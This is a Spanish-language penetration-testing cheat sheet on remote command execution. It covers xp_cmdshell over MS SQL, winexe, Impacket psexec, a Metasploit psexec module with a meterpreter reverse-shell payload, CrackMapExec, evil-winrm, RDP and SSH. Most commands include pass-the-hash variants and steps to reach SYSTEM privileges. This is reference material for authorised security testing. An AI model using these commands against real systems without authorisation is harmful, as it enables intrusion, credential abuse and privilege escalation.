Conexión remota
MS SQL
Usamos la herramienta mssqlclient.py de Impacket:
python3 mssqlclient.py <username>@<target_ip> -windows-authSi la máquina atacante es Kali, el script se encuentra en
/usr/share/doc/python3-impacket/examples.
Para ejecutar comandos, habilitamos xp_cmdshell:
enable_xp_cmdshellYa con esto, podemos ejecutar comandos de la siguiente forma:
xp_cmdshell whoamiSMB/Samba
Podemos usar la herramienta winexe para ejecutar comandos de forma remota en entornos Windows:
winexe -U '<username>%<password>' //<target_ip> cmd.exeSi tenemos un usuario con permisos de administrador, podemos ejecutar el siguiente comando para obtener privilegios de SYSTEM:
winexe -U '<username>%<password>' --system //<target_ip> cmd.exePodemos usar pth-winexe en caso de que necesitemos hacer un pass-the-hash:
pth-winexe -U '<username>%<full_hash>' //<target_ip> cmd.exeTambién podemos usar la opción --system para obtener privilegios de SYSTEM.
PsExec
Impacket posee un script en python que nos permite conectarnos a equipos Windows:
python3 psexec.py <username>:<password>@<target_ip>Si la máquina atacante es Kali, el script se encuentra en
/usr/share/doc/python3-impacket/examples.
Si tenemos un hash, podemos hacer un pass-the-hash con el siguiente comando:
python3 psexec.py -hashes <hash_ntlm> <username>@<target_ip>Windows posee la herramienta PsExec, con la cual, podemos escalar de una shell con privilegios de administrador a una de SYSTEM (o de cuentas de servicio):
.\PsExec.exe /accepteula -i -s <reverse_shell_path>Abrimos Metasploit:
msfconsole -qUsamos el módulo de psexec:
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST <local_ip>
set LPORT <local_port>
set RHOST <target_ip>
set SMBUser <username>
set SMBPass <hash_ntlm/password>
exploitCrackMapExec
Ejecución de comandos usando la contraseña:
crackmapexec smb <target_ip> -u <username> -p <password> -X <PS_command>Si queremos hacer pass-the-hash, usamos el siguiente comando:
crackmapexec smb <target_ip> -u <username> -H <hash_ntlm> -X <PS_command>Ejecución de comandos usando la contraseña:
crackmapexec smb <target_ip> -u <username> -p <password> -x <command>Si queremos hacer pass-the-hash, usamos el siguiente comando:
crackmapexec smb <target_ip> -u <username> -H <hash_ntlm> -x <command>WinRM (puerto 5985)
Podemos usar la herramienta evil-winrm para conectarnos al servicio WinRM.
Para instalar evil-winrm en Kali, usamos el siguiente comando:
sudo gem install evil-winrmDe la siguiente forma se puede obtener una shell mediante este servicio:
evil-winrm -u <username> -p <password> -i <target_ip>Si tenemos el hash del usuario, podemos hacer pass-the-hash:
evil-winrm -u <username> -H <hash_ntlm> -i <target_ip>RDP
Podemos usar xfreerdp para conectarnos a la máquina remota:
xfreerdp /v:<target_ip> /u:<username> /p:<password>Podemos hacerlo usando pass-the-hash:
xfreerdp /v:<target_ip> /u:<username> /pth:<password>Podemos usar las siguientes opciones para permitir copiar y pegar desde el clipboard, ajuste automático del tamaño de la pantalla, y anclar un directorio:
xfreerdp /v:<target_ip> /u:<username> /p:<password> +clipboard /dynamic-resolution /drive:<local_path>,<shared_folder_name>SSH
Para conectarnos al puerto por defecto de SSH, usamos el siguiente comando:
ssh <username>@<target_ip>Si el puerto es otro, tenemos que usar la opción -p:
ssh <username>@<target_ip> -p <port>En caso de tener una llave de conexión, usamos la opción -i:
ssh -i id_rsa <username>@<target_ip>Para pasar la contraseña junto con el usuario, debemos usar la herramienta sshpass.
Para instalar sshpass, usamos el siguiente comando:
sudo apt-get install sshpasssshpass se usa de la siguiente forma:
sshpass -p 'password' ssh <username>@<target_ip>Si necesitamos mandar comandos sobre SSH, estos deben ir al final del comando SSH:
ssh <username>@<target_ip> <command>Last updated